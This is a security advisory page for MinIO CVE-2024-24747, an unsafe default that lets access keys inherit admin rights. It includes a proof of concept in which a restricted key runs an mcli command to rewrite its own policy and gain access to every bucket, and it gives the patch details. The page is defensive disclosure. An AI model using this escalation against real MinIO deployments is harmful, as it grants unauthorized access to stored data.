AI and data stack advisories

Severe, 6 weeks1498Projects326

1498 severe, 6 weeks · 326 projects

MinIOGHSA-xx8w-mq23-29g4

Minio unsafe default: Access keys inherit `admin` of root user, allowing privilege escalation

MinIO

CVE-2024-24747 · Published Feb 1, 2024 · updated Oct 8, 2026

High8.8
Fix: upgrade to 0.0.0-20240131185645-0ae4915a9391 or later
GitHub advisory

Summary

When someone creates an access key, it inherits the permissions of the parent key. Not only for

s3:* actions, but also admin:* actions. Which means unless somewhere above in the

access-key hierarchy, the admin rights are denied, access keys will be able to simply

override their own s3 permissions to something more permissive.

Credit to @xSke for sort of accidentally discovering this. I only understood the implications.

Details / PoC

We spun up the latest version of minio in a docker container and signed in to the admin UI

using the minio root user. We created two buckets, public and private and created an

access key called mycat and attached the following policy to only allow access to the

bucket called public.

```json

{

"Version": "2012-10-17",

"Statement": [

{

"Effect": "Allow",

"Action": [

"s3:*"

],

"Resource": [

"arn:aws:s3:::public",

"arn:aws:s3:::public/*"

]

}

]

}

`

We then set an alias in mc: mcli alias set vuln http://localhost:9001 mycat mycatiscute

And checked whether policy works:

`

A ~/c/minio-vuln mcli ls vuln

[0001-01-01 00:53:28 LMT] 0B public/

`

Looks good, we believe this is how 99% of users will work with access policies.

If I now create a file full-access-policy.json:

```json

{

"Version": "2012-10-17",

"Statement": [

{

"Effect": "Allow",

"Action": [...

Affected versions

PackageAffectedFixed in
github.com/minio/minio
Go
< 0.0.0-20240131185645-0ae4915a93910.0.0-20240131185645-0ae4915a9391
Details and references

### Summary When someone creates an access key, it inherits the permissions of the parent key. Not only for `s3:*` actions, but also `admin:*` actions. Which means unless somewhere above in the access-key hierarchy, the `admin` rights are denied, access keys will be able to simply override their own `s3` permissions to something more permissive. Credit to @xSke for sort of accidentally discovering this. I only understood the implications. ### Details / PoC We spun up the latest version of minio in a docker container and signed in to the admin UI using the minio root user. We created two buckets, `public` and `private` and created an access key called `mycat` and attached the following policy to only allow access to the bucket called `public`. ```json { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": [ "s3:*" ], "Resource": [ "arn:aws:s3:::public", "arn:aws:s3:::public/*" ] } ] } ``` We then set an alias in mc: `mcli alias set vuln http://localhost:9001 mycat mycatiscute` And checked whether policy works: ``` A ~/c/minio-vuln mcli ls vuln [0001-01-01 00:53:28 LMT] 0B public/ ``` Looks good, we believe this is how 99% of users will work with access policies. If I now create a file `full-access-policy.json`: ```json { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": [ "s3:*" ], "Resource": [ "arn:aws:s3:::*" ] } ] } ``` And then: ```sh A ~/c/minio-vuln mcli admin user svcacct edit --policy full-access-policy.json vuln mycat Edited service account `mycat` successfully. ``` `mycat` has escalated its privileges to get access to the entire deployment: ```sh A ~/c/minio-vuln mcli ls vuln [0001-01-01 00:53:28 LMT] 0B private/ [0001-01-01 00:53:28 LMT] 0B public/ ``` ### Impact A trivial privilege escalation unless the operator fully understands that they need to explicitly deny `admin` actions on access keys. ### Patched ``` commit 0ae4915a9391ef4b3ec80f5fcdcf24ee6884e776 (HEAD -> master, origin/master) Author: Aditya Manthramurthy <donatello@users.noreply.github.com> Date: Wed Jan 31 10:56:45 2024 -0800 fix: permission checks for editing access keys (#18928) With this change, only a user with `UpdateServiceAccountAdminAction` permission is able to edit access keys. We would like to let a user edit their own access keys, however the feature needs to be re-designed for better security and integration with external systems like AD/LDAP and OpenID. This change prevents privilege escalation via service accounts. ```

CVSS 3.1
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Severity from
GitHub (reviewed advisory)
Weakness
CWE-269
Also known as
CVE-2024-24747, GO-2024-2499

More MinIO advisories

All MinIO